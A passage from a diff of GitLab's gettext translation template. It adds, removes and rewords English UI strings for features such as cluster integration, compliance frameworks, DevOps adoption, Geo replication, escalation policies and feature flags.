-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
